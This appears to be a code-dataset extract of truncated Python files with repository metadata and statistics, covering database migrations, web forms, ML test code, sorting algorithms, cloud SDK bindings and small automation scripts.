047760c3a98e8a5a4320f0edc7bf1725194eacc7
341
py
Python
tasks/migrations/0005_alter_takeclass_unique_together.py
MUST-Quick-Fry/Face-Recognition-Sign-In-System
d1298f6c3d6f7da288fa736f8785d93fe1778703
[ "MIT" ]
null
null
null
tasks/migrations/0005_alter_takeclass_unique_together.py
MUST-Quick-Fry/Face-Recognition-Sign-In-System
d1298f6c3d6f7da288fa736f8785d93fe1778703
[ "MIT" ]
null
null
null
tasks/migrations/0005_alter_takeclass_unique_together.py
MUST-Quick-Fry/Face-Recognition-Sign-In-System
d1298f6c3d6f7da288fa736f8785d93fe1778703
[ "MIT" ]
null
null
null
# Generated by Django 3.2.7 on 2021-11-14 16:14 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('tasks', '0004_takeclass'), ] operations = [ migrations.AlterUniqueTogether( name='takeclass', unique_together={('sid', 'cid'...
18.944444
47
0.583578
34
341
5.794118
0.823529
0
0
0
0
0
0
0
0
0
0
0.078189
0.28739
341
17
48
20.058824
0.73251
0.131965
0
0
1
0
0.115646
0
0
0
0
0
0
1
0
false
0
0.090909
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
047cb5465f0509b508c436ea248be53acdef1e9f
2,876
py
Python
migrations/versions/b26b8edbe29a_.py
bbhunter/shadow-workers
88619f6ac685f89ae697b4bc0dc4c04e679535d0
[ "MIT" ]
114
2019-03-28T06:59:46.000Z
2022-03-28T21:22:23.000Z
migrations/versions/b26b8edbe29a_.py
bbhunter/shadow-workers
88619f6ac685f89ae697b4bc0dc4c04e679535d0
[ "MIT" ]
3
2019-04-11T01:52:56.000Z
2019-09-01T22:52:23.000Z
migrations/versions/b26b8edbe29a_.py
bbhunter/shadow-workers
88619f6ac685f89ae697b4bc0dc4c04e679535d0
[ "MIT" ]
31
2019-03-29T15:43:43.000Z
2021-11-25T16:33:49.000Z
"""empty message Revision ID: b26b8edbe29a Revises: Create Date: 2018-11-28 21:01:53.633579 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'b26b8edbe29a' down_revision = None branch_labels = None depends_on = None def upgrade(): # ### commands auto gene...
37.842105
97
0.665855
366
2,876
5.136612
0.221311
0.102128
0.151596
0.189894
0.695213
0.668085
0.459574
0.421277
0.374468
0.347872
0
0.014604
0.142907
2,876
75
98
38.346667
0.748073
0.098401
0
0.280702
0
0
0.181534
0.018779
0
0
0
0
0
1
0.035088
false
0
0.035088
0
0.070175
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0483e45e39338b1977f9426bbf61b9447c3130d0
675
py
Python
mtp_api/apps/credit/migrations/0034_payment_status_expired.py
ministryofjustice/mtp-api
b1c34c29e4aa9f48598cb060abe1368ae7686e0b
[ "MIT" ]
5
2016-01-05T12:21:35.000Z
2020-10-28T17:06:02.000Z
mtp_api/apps/credit/migrations/0034_payment_status_expired.py
ministryofjustice/mtp-api
b1c34c29e4aa9f48598cb060abe1368ae7686e0b
[ "MIT" ]
209
2015-06-12T09:39:41.000Z
2022-03-21T16:01:19.000Z
mtp_api/apps/credit/migrations/0034_payment_status_expired.py
ministryofjustice/mtp-api
b1c34c29e4aa9f48598cb060abe1368ae7686e0b
[ "MIT" ]
1
2021-04-11T06:19:23.000Z
2021-04-11T06:19:23.000Z
# Generated by Django 2.0.13 on 2019-12-11 15:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('credit', '0033_credit_resolution_failed'), ] operations = [ migrations.AlterField( model_name='log', name='action',...
35.526316
336
0.613333
66
675
6.19697
0.727273
0
0
0
0
0
0
0
0
0
0
0.040665
0.198519
675
18
337
37.5
0.715342
0.068148
0
0
1
0
0.350877
0.046252
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0484eebaca79d9fa2793a8fa212f63ea48326d9f
63,449
py
Python
iclientpy/iclientpy/rest/api/model.py
SuperMap/iClientPython
5e741c1efda9b12d321909428bd5c95e22482ea7
[ "Apache-2.0" ]
28
2018-04-19T07:11:34.000Z
2022-02-24T08:31:08.000Z
iclientpy/iclientpy/rest/api/model.py
SuperMap/iClientPython
5e741c1efda9b12d321909428bd5c95e22482ea7
[ "Apache-2.0" ]
3
2019-05-06T07:58:45.000Z
2020-11-18T21:16:38.000Z
iclientpy/iclientpy/rest/api/model.py
SuperMap/iClientPython
5e741c1efda9b12d321909428bd5c95e22482ea7
[ "Apache-2.0" ]
8
2018-06-14T02:29:53.000Z
2020-11-03T01:36:35.000Z
from enum import Enum from typing import List from ._modeljsonutil import AbstractTypeParserSwitcherBuilder class DatasetType(Enum): UNDEFINED = 'UNDEFINED' POINT = 'POINT' LINE = 'LINE' REGION = 'REGION' TEXT = 'TEXT' NETWORK = 'NETWORK' GRID = 'GRID' IMAGE = 'IMAGE' ...
20.414736
114
0.674258
5,328
63,449
7.943506
0.250375
0.067056
0.094889
0.028282
0.176193
0.138341
0.105711
0.086123
0.078893
0.076625
0
0.006838
0.257829
63,449
3,107
115
20.421307
0.89193
0.010134
0
0.483668
0
0
0.078318
0.007458
0
0
0
0.000322
0
1
0.00335
false
0.0067
0.001256
0
0.877303
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0486a0f578ea7f032eeca5a90aad890b57687059
1,356
py
Python
monitors_website.py
SrinivasBeerge/monitoring-website
0cda5181c0913a13de2f4242d4bf95aab7dad211
[ "Apache-2.0" ]
null
null
null
monitors_website.py
SrinivasBeerge/monitoring-website
0cda5181c0913a13de2f4242d4bf95aab7dad211
[ "Apache-2.0" ]
null
null
null
monitors_website.py
SrinivasBeerge/monitoring-website
0cda5181c0913a13de2f4242d4bf95aab7dad211
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import asyncio import json import threading import sys from lib.monitor import Monitor from lib.stats_writer import StatsWriter config = json.load(open('config.json')) def run_monitor(): monitor = Monitor(config) # asyncio on Windows solution learnt from here: https://github.com/encod...
28.851064
117
0.704277
170
1,356
5.417647
0.511765
0.05646
0.036916
0.058632
0.065147
0
0
0
0
0
0
0.016514
0.196165
1,356
46
118
29.478261
0.82844
0.184366
0
0
0
0
0.051771
0
0
0
0
0.021739
0
1
0.066667
false
0
0.2
0
0.266667
0.033333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
048a0ef7b9dd92a1600e7a3cea56404b05a0e29e
923
py
Python
hubconf.py
paulhuangkm/MiniASR
e7579a08f6fe9e7bc2a49c7ebbabe34b6679a22a
[ "MIT" ]
11
2021-08-17T14:44:31.000Z
2022-02-26T16:45:35.000Z
hubconf.py
paulhuangkm/MiniASR
e7579a08f6fe9e7bc2a49c7ebbabe34b6679a22a
[ "MIT" ]
null
null
null
hubconf.py
paulhuangkm/MiniASR
e7579a08f6fe9e7bc2a49c7ebbabe34b6679a22a
[ "MIT" ]
4
2021-12-12T15:09:44.000Z
2022-02-24T01:58:17.000Z
''' File [ hubconf.py ] Author [ Heng-Jui Chang (NTUEE) ] Synopsis [ Hubconf. ] ''' import os import torch from miniasr.utils import load_from_checkpoint def asr_local(ckpt): ''' ASR model from a local checkpoint. ''' assert os.path.isfile(ckpt) model, _, _ = load_from_ch...
20.511111
100
0.628386
118
923
4.644068
0.474576
0.072993
0.09854
0.104015
0.266423
0.266423
0.175182
0.175182
0.175182
0.175182
0
0.021962
0.260022
923
44
101
20.977273
0.780381
0.263272
0
0.266667
0
0
0.15
0
0
0
0
0
0.066667
1
0.266667
false
0
0.2
0
0.733333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
049079e60fe29248a1254435c6e61bcfeed1a7dc
2,030
py
Python
venv/Lib/site-packages/streamlit/proto/Balloons_pb2.py
ajayiagbebaku/NFL-Model
afcc67a85ca7138c58c3334d45988ada2da158ed
[ "MIT" ]
7
2022-01-16T12:28:16.000Z
2022-03-04T15:31:45.000Z
venv/Lib/site-packages/streamlit/proto/Balloons_pb2.py
ajayiagbebaku/NFL-Model
afcc67a85ca7138c58c3334d45988ada2da158ed
[ "MIT" ]
8
2021-09-22T12:47:32.000Z
2022-01-14T21:30:38.000Z
venv/Lib/site-packages/streamlit/proto/Balloons_pb2.py
ajayiagbebaku/NFL-Model
afcc67a85ca7138c58c3334d45988ada2da158ed
[ "MIT" ]
1
2021-03-30T05:02:53.000Z
2021-03-30T05:02:53.000Z
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: streamlit/proto/Balloons.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection fr...
28.591549
170
0.759606
247
2,030
5.939271
0.421053
0.03681
0.04908
0.06544
0.079073
0.079073
0.054533
0
0
0
0
0.032457
0.119704
2,030
70
171
29
0.788472
0.133005
0
0.2
1
0.02
0.165809
0.118925
0
0
0
0
0
1
0
false
0
0.08
0
0.08
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
049138351f7eb67276a10e95ccf95b9660afd51b
388
py
Python
dufi/gui/boxes/tkutils.py
Shura1oplot/dufi
c9c25524020e57d3670c298acca305900b6490e7
[ "MIT" ]
null
null
null
dufi/gui/boxes/tkutils.py
Shura1oplot/dufi
c9c25524020e57d3670c298acca305900b6490e7
[ "MIT" ]
null
null
null
dufi/gui/boxes/tkutils.py
Shura1oplot/dufi
c9c25524020e57d3670c298acca305900b6490e7
[ "MIT" ]
null
null
null
# [SublimeLinter @python:3] # -*- coding: utf-8 -*- from __future__ import unicode_literals, division, print_function, absolute_import def center(window, master=None): (master or window).eval("tk::PlaceWindow {} center".format( window.winfo_toplevel())) # (master or window).eval("tk::PlaceWindow {} c...
32.333333
82
0.690722
46
388
5.608696
0.630435
0.127907
0.108527
0.139535
0.418605
0.418605
0.418605
0.418605
0.418605
0.418605
0
0.006079
0.152062
388
11
83
35.272727
0.778116
0.396907
0
0
0
0
0.10917
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0.25
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
04943539255f8dbd1dd0ebb1cba90f982f64b11a
27,133
py
Python
library/frontend/sysadmin/inventory.py
GNHJM/lykops
ed7e35d0c1abb1eacf7ab365e041347d0862c0a7
[ "Apache-2.0" ]
141
2017-01-09T07:23:55.000Z
2022-01-29T09:56:16.000Z
library/frontend/sysadmin/inventory.py
GNHJM/lykops
ed7e35d0c1abb1eacf7ab365e041347d0862c0a7
[ "Apache-2.0" ]
13
2018-01-09T01:49:59.000Z
2021-09-23T23:21:29.000Z
library/frontend/sysadmin/inventory.py
GNHJM/lykops
ed7e35d0c1abb1eacf7ab365e041347d0862c0a7
[ "Apache-2.0" ]
68
2017-01-10T01:56:43.000Z
2021-10-11T10:16:00.000Z
import time from library.frontend import Base from library.utils.file import write_file from library.utils.type_conv import random_str class Manager_Inventory(Base): def get_init_para(self, username): self.inve_mongocollect = 'user.' + username + '.inventory' self.group_mongocollect = 'user.' + u...
45.071429
225
0.4918
2,797
27,133
4.542009
0.083304
0.029597
0.03495
0.034005
0.619647
0.527865
0.43199
0.39279
0.334619
0.32352
0
0.004194
0.393653
27,133
601
226
45.146423
0.767992
0.009804
0
0.425
0
0.00625
0.132209
0.03237
0
0
0
0
0
1
0.029167
false
0.066667
0.008333
0
0.129167
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
049f07024faf94f923d6bd6f576a06c30bfbcb2d
1,580
py
Python
api/serializers.py
1-0/neox_project
d3ee3b6a6d1bc11d30e2060ae8d1a389f0933338
[ "BSD-3-Clause" ]
null
null
null
api/serializers.py
1-0/neox_project
d3ee3b6a6d1bc11d30e2060ae8d1a389f0933338
[ "BSD-3-Clause" ]
null
null
null
api/serializers.py
1-0/neox_project
d3ee3b6a6d1bc11d30e2060ae8d1a389f0933338
[ "BSD-3-Clause" ]
null
null
null
from rest_auth import serializers from rest_framework import serializers as rf_serializers from neox_project.models import CustomUser from post import models class PostSerializer(serializers.JWTSerializer): def create(self, validated_data): pass def update(self, instance, validated_data): pas...
22.253521
65
0.586076
150
1,580
6.026667
0.373333
0.129425
0.112832
0.097345
0.363938
0.335177
0.335177
0.335177
0.335177
0.335177
0
0
0.322152
1,580
70
66
22.571429
0.844071
0
0
0.5
0
0
0.075316
0
0
0
0
0
0
1
0.12963
false
0.185185
0.074074
0
0.37037
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
049fde9a13aed8026d3cfea763d0abe219861381
5,030
py
Python
analysis_codes_v2/Rmax_exp_DanSeVData.py
zqwei/LIF_Vis_model
16f651ac827ba5f0feb40a0e619e600f1251d009
[ "MIT" ]
null
null
null
analysis_codes_v2/Rmax_exp_DanSeVData.py
zqwei/LIF_Vis_model
16f651ac827ba5f0feb40a0e619e600f1251d009
[ "MIT" ]
null
null
null
analysis_codes_v2/Rmax_exp_DanSeVData.py
zqwei/LIF_Vis_model
16f651ac827ba5f0feb40a0e619e600f1251d009
[ "MIT" ]
null
null
null
import pickle import numpy as np import matplotlib.pyplot as plt import scipy.stats as scp_stats import pandas as pd import f_rate_t_by_type_functions as frtbt N_trials = 15 # Decide which systems we are doing analysis for. sys_dict = {} sys_dict['all_mice'] = { 'cells_file': '../build/ll1.csv', 'f_1': '/data/mat...
41.916667
305
0.665408
833
5,030
3.789916
0.29892
0.035477
0.022173
0.026608
0.235984
0.226481
0.202724
0.173583
0.173583
0.146975
0
0.026429
0.16501
5,030
119
306
42.268908
0.725238
0.209344
0
0.055556
0
0.027778
0.205607
0.072493
0
0
0
0
0
0
null
null
0
0.083333
null
null
0.041667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
04a08737b3cd2902f639e32914df18c75d140031
4,248
py
Python
scripts/build-python-env.py
tingbot/tide-electron
1865df30125ef455c5a1e4576bf5acfc2beaa572
[ "BSD-2-Clause" ]
26
2015-12-22T18:55:13.000Z
2020-10-27T13:54:48.000Z
scripts/build-python-env.py
tingbot/tide-electron
1865df30125ef455c5a1e4576bf5acfc2beaa572
[ "BSD-2-Clause" ]
73
2015-12-18T18:25:17.000Z
2020-11-14T15:38:02.000Z
scripts/build-python-env.py
tingbot/tide-electron
1865df30125ef455c5a1e4576bf5acfc2beaa572
[ "BSD-2-Clause" ]
11
2016-04-08T17:41:32.000Z
2021-12-07T17:20:00.000Z
import os, sys, subprocess, tempfile, shutil, urllib2, stat python = sys.executable # homebrew-installed python can't install with --target. use system python instead. if sys.platform == 'darwin': python = '/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python' def install_packages(requirements_file...
35.697479
95
0.678437
562
4,248
4.902135
0.256228
0.065336
0.058076
0.03775
0.397822
0.322686
0.293648
0.293648
0.293648
0.256624
0
0.009357
0.194915
4,248
118
96
36
0.796199
0.082863
0
0.285714
0
0.011905
0.195317
0.03474
0
0
0
0
0
0
null
null
0
0.011905
null
null
0.059524
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
04a511328ea6812f5cb4a82610bb9fa3c6ef7ac1
501
py
Python
right_click_action.py
greatfirsty/hellopython
f12aacf36b8f208d6c5622ffd6b4c1927f37b45a
[ "Apache-2.0" ]
1
2019-05-04T01:25:43.000Z
2019-05-04T01:25:43.000Z
right_click_action.py
greatfirsty/hellopython
f12aacf36b8f208d6c5622ffd6b4c1927f37b45a
[ "Apache-2.0" ]
null
null
null
right_click_action.py
greatfirsty/hellopython
f12aacf36b8f208d6c5622ffd6b4c1927f37b45a
[ "Apache-2.0" ]
null
null
null
from selenium import webdriver from selenium.webdriver import ActionChains dr = webdriver.Chrome() dr.get('https://yunpan.360.cn/') account = dr.find_element_by_name("account") account.clear() account.send_keys('183xxxx') password = dr.find_element_by_name("password") password.clear() password.send_keys('hxxxxxxx') l...
33.4
112
0.788423
71
501
5.394366
0.535211
0.046997
0.101828
0.117493
0.099217
0
0
0
0
0
0
0.012766
0.061876
501
15
113
33.4
0.802128
0.041916
0
0
0
0.083333
0.26875
0.054167
0
0
0
0
0
1
0
false
0.25
0.166667
0
0.166667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
04a537a4ea9b99aa485e266be76f21169340f9a5
329
py
Python
src/api/__init__.py
week-with-me/fastapi-graphql
faf0ab428e47f09c1d4d3939c03e98320962a45b
[ "MIT" ]
null
null
null
src/api/__init__.py
week-with-me/fastapi-graphql
faf0ab428e47f09c1d4d3939c03e98320962a45b
[ "MIT" ]
null
null
null
src/api/__init__.py
week-with-me/fastapi-graphql
faf0ab428e47f09c1d4d3939c03e98320962a45b
[ "MIT" ]
null
null
null
from fastapi import APIRouter from src.api import graphql, rest from src.core import get_settings router = APIRouter() router.include_router( router = graphql.router, prefix = get_settings().GRAPHQL_API, tags = ['GraphQL'] ) router.include_router( router = rest.router, prefix = get_settings().R...
20.5625
40
0.723404
42
329
5.5
0.357143
0.142857
0.164502
0.21645
0
0
0
0
0
0
0
0
0.179331
329
16
41
20.5625
0.855556
0
0
0.153846
0
0
0.021212
0
0
0
0
0
0
1
0
false
0
0.230769
0
0.230769
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
04a775d42c495fff1900d8dbaff701bb8784c81d
5,666
py
Python
sdk/python/pulumi_ucloud/udb/get_db_instance.py
AaronFriel/pulumi-ucloud
199278786dddf46bdd370f3f805e30b279c63ff2
[ "ECL-2.0", "Apache-2.0" ]
4
2021-08-18T04:55:38.000Z
2021-09-08T07:59:24.000Z
sdk/python/pulumi_ucloud/udb/get_db_instance.py
AaronFriel/pulumi-ucloud
199278786dddf46bdd370f3f805e30b279c63ff2
[ "ECL-2.0", "Apache-2.0" ]
1
2022-01-28T17:59:37.000Z
2022-01-29T03:44:09.000Z
sdk/python/pulumi_ucloud/udb/get_db_instance.py
AaronFriel/pulumi-ucloud
199278786dddf46bdd370f3f805e30b279c63ff2
[ "ECL-2.0", "Apache-2.0" ]
2
2021-06-23T07:10:40.000Z
2021-06-23T09:25:12.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
37.523179
203
0.666961
678
5,666
5.30826
0.235988
0.080022
0.03112
0.05835
0.128925
0.05446
0.05446
0
0
0
0
0.001153
0.234557
5,666
150
204
37.773333
0.828683
0.21179
0
0.091837
1
0
0.152326
0.023953
0
0
0
0
0
1
0.102041
false
0
0.061224
0.030612
0.27551
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
04a925ee94d0667d1c3744e9e776c953289f89bb
2,376
py
Python
test.py
JavanTang/Chinese-Text-Classification-Pytorch
d3e99ad7b4b824ebb63b6c6c7d9b29d00714a4aa
[ "MIT" ]
null
null
null
test.py
JavanTang/Chinese-Text-Classification-Pytorch
d3e99ad7b4b824ebb63b6c6c7d9b29d00714a4aa
[ "MIT" ]
null
null
null
test.py
JavanTang/Chinese-Text-Classification-Pytorch
d3e99ad7b4b824ebb63b6c6c7d9b29d00714a4aa
[ "MIT" ]
null
null
null
''' @Author: TangZhiFeng @Data: Do not edit @LastEditors: TangZhiFeng @LastEditTime: 2020-04-16 09:59:59 @Description: ''' import numpy as np import os import pickle as pkl import torch import unittest # The test framework from models import FastText from utils_fasttext import sentance2ids, build_iterator config = F...
35.462687
124
0.639731
316
2,376
4.60443
0.382911
0.049485
0.030928
0.041237
0.046735
0
0
0
0
0
0
0.020613
0.244529
2,376
66
125
36
0.789972
0.071549
0
0.076923
1
0
0.026424
0
0
0
0
0
0.038462
1
0.057692
false
0
0.134615
0
0.230769
0.019231
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
04aa7910e8cab379189e19322c7e515caccf7fc0
6,548
py
Python
py-algo/sorting/comparision.py
FPGSchiba/py-algo
35cfa6cd82585ecaf58473f0595ebfb5e2331d70
[ "Apache-2.0" ]
null
null
null
py-algo/sorting/comparision.py
FPGSchiba/py-algo
35cfa6cd82585ecaf58473f0595ebfb5e2331d70
[ "Apache-2.0" ]
null
null
null
py-algo/sorting/comparision.py
FPGSchiba/py-algo
35cfa6cd82585ecaf58473f0595ebfb5e2331d70
[ "Apache-2.0" ]
null
null
null
""" Algorithms are from here: https://en.wikipedia.org/wiki/Sorting_algorithm#Comparison_sorts """ import math from heapq import heappop, heappush def quicksort(array: list) -> list: """ Quicksort Algorithm, implemented with the Explanation on: https://en.wikipedia.org/wiki/Quicksort :param array: The arr...
23.056338
111
0.619273
859
6,548
4.630966
0.124563
0.090498
0.096531
0.11463
0.509301
0.452489
0.338864
0.316742
0.275264
0.138512
0
0.0086
0.254123
6,548
283
112
23.137809
0.805897
0.367288
0
0.228814
0
0
0
0
0
0
0
0
0
1
0.228814
false
0
0.016949
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
04aee130a0ba58f7ca67dbf66a4de44e593214db
485
py
Python
utils.py
B-Trindade/Trabalho-Final
70459a9492cb81c552e6465e846558c608102412
[ "MIT" ]
null
null
null
utils.py
B-Trindade/Trabalho-Final
70459a9492cb81c552e6465e846558c608102412
[ "MIT" ]
null
null
null
utils.py
B-Trindade/Trabalho-Final
70459a9492cb81c552e6465e846558c608102412
[ "MIT" ]
null
null
null
from dataclasses import dataclass from enum import Enum TIMEOUT = 3 CMD_END = 'end' BUFSIZE = 4096 class TypeEnum(Enum): HOST = 'Host' SERVER = 'Server' @dataclass class RegisterMsg: type: TypeEnum name: str @dataclass class RegisterResultMsg: success: bool full_domain: str = None error_...
14.69697
33
0.71134
57
485
6
0.561404
0.204678
0.093567
0.122807
0
0
0
0
0
0
0
0.013193
0.218557
485
33
34
14.69697
0.889182
0
0
0.269231
0
0
0.026749
0
0
0
0
0
0
1
0
false
0
0.076923
0
0.692308
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
04afe6fb467023d132550f2ffcf876586c931bf4
561
py
Python
dictionary/models/kanji_reference_daikanwajiten.py
kaikeru/japanese-tools
39ae7be0590954aae0976141a57d7ae59e85891c
[ "MIT" ]
null
null
null
dictionary/models/kanji_reference_daikanwajiten.py
kaikeru/japanese-tools
39ae7be0590954aae0976141a57d7ae59e85891c
[ "MIT" ]
null
null
null
dictionary/models/kanji_reference_daikanwajiten.py
kaikeru/japanese-tools
39ae7be0590954aae0976141a57d7ae59e85891c
[ "MIT" ]
null
null
null
"""The version information of the kanjidict2.xml file.""" from peewee import CharField, ForeignKeyField from models.base import BaseModel from models.kanji_reference_index import KanjiReferenceIndex class KanjiReferenceDaikanwajiten(BaseModel): """Kanji""" volume = CharField(max_length=32) page = CharFi...
26.714286
60
0.736185
56
561
7.196429
0.607143
0.104218
0.094293
0.099256
0
0
0
0
0
0
0
0.010917
0.183601
561
20
61
28.05
0.868996
0.128342
0
0
0
0
0.112051
0.112051
0
0
0
0
0
1
0
false
0
0.25
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
04b4f10598762d63bb71bbd110f945725a0e5a07
550
py
Python
nodes/0.9.x/python/View.DisableTemporaryHideIsolate.py
jdehotin/Clockworkfordynamo
59226ea8292c57acfa1aa476efd40f0e78c9b965
[ "MIT" ]
147
2016-02-24T16:37:03.000Z
2022-02-18T12:10:34.000Z
nodes/0.9.x/python/View.DisableTemporaryHideIsolate.py
jdehotin/Clockworkfordynamo
59226ea8292c57acfa1aa476efd40f0e78c9b965
[ "MIT" ]
269
2016-02-25T14:04:14.000Z
2022-03-26T07:30:53.000Z
nodes/0.9.x/python/View.DisableTemporaryHideIsolate.py
jdehotin/Clockworkfordynamo
59226ea8292c57acfa1aa476efd40f0e78c9b965
[ "MIT" ]
89
2016-03-16T18:21:56.000Z
2022-02-03T14:34:30.000Z
import clr clr.AddReference('RevitAPI') from Autodesk.Revit.DB import * clr.AddReference("RevitServices") import RevitServices from RevitServices.Persistence import DocumentManager from RevitServices.Transactions import TransactionManager doc = DocumentManager.Instance.CurrentDBDocument view = UnwrapElement(IN[0]) Tr...
34.375
70
0.858182
50
550
9.44
0.58
0.038136
0
0
0
0
0
0
0
0
0
0.001946
0.065455
550
16
71
34.375
0.916342
0
0
0
0
0
0.038113
0
0
0
0
0
0
1
0
false
0
0.357143
0
0.357143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
04b9ede065050252c3c3e4b2e6533b22f204d546
1,504
py
Python
Instagram/forms.py
IsaacMurage-dev/Insta-lookalike
0b394a3e60c669dfb78e8d538e869cebbcec70b8
[ "MIT" ]
null
null
null
Instagram/forms.py
IsaacMurage-dev/Insta-lookalike
0b394a3e60c669dfb78e8d538e869cebbcec70b8
[ "MIT" ]
null
null
null
Instagram/forms.py
IsaacMurage-dev/Insta-lookalike
0b394a3e60c669dfb78e8d538e869cebbcec70b8
[ "MIT" ]
null
null
null
from django import forms from .models import Profile,Image,Comment from django.contrib.auth.forms import UserCreationForm from django.contrib.auth.models import User class SignUpForm(UserCreationForm): username=forms.CharField(max_length=30, required=False, help_text='Optional.') first_name = forms.CharField(...
38.564103
121
0.694149
180
1,504
5.672222
0.283333
0.052889
0.082272
0.112635
0.435847
0.291871
0.22331
0.22331
0.22331
0.22331
0
0.012136
0.178191
1,504
38
122
39.578947
0.813916
0
0
0.285714
0
0
0.156915
0
0
0
0
0
0
1
0
false
0.028571
0.114286
0
0.657143
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
04bca4a88f00324aeb6f010b963ad4ba1dfca984
441
py
Python
BlogManage/blog/views_upload.py
ahriknow/ahriknow
817b5670c964e01ffe19ed182ce0a7b42e17ce09
[ "MIT" ]
null
null
null
BlogManage/blog/views_upload.py
ahriknow/ahriknow
817b5670c964e01ffe19ed182ce0a7b42e17ce09
[ "MIT" ]
3
2021-03-19T01:28:43.000Z
2021-04-08T19:57:19.000Z
BlogManage/blog/views_upload.py
ahriknow/ahriknow
817b5670c964e01ffe19ed182ce0a7b42e17ce09
[ "MIT" ]
null
null
null
from rest_framework.response import Response from rest_framework.views import APIView class UploadView(APIView): def post(self, request): try: print(request.FILES) return Response( {'code': 200, 'msg': 'Upload Successfully!', 'data': 'https://api.ahriknow.com/image?...
33.923077
116
0.61678
52
441
5.192308
0.730769
0.059259
0.125926
0
0
0
0
0
0
0
0
0.021084
0.247166
441
12
117
36.75
0.792169
0
0
0
0
0
0.192744
0
0
0
0
0
0
1
0.1
false
0
0.2
0
0.6
0.1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
04bfca1416533395d9a700899a8b2c637f017d39
2,263
py
Python
to/lang/OpenCV-2.2.0/doc/plastex/latex.py
eirTony/INDI1
42642d8c632da53f60f2610b056547137793021b
[ "MIT" ]
null
null
null
to/lang/OpenCV-2.2.0/doc/plastex/latex.py
eirTony/INDI1
42642d8c632da53f60f2610b056547137793021b
[ "MIT" ]
14
2016-11-24T10:46:39.000Z
2016-12-10T07:24:15.000Z
to/lang/OpenCV-2.2.0/doc/plastex/latex.py
eirTony/INDI1
42642d8c632da53f60f2610b056547137793021b
[ "MIT" ]
null
null
null
import sys from pyparsing import Word, CharsNotIn, Optional, OneOrMore, ZeroOrMore, Group, ParseException, Literal, replaceWith import pyparsing help(pyparsing) class Argument: def __init__(self, s, loc, toks): self.str = toks[1] def __repr__(self): return "[%s]" % self.str def argfun(s, loc, ...
29.776316
135
0.612461
282
2,263
4.801418
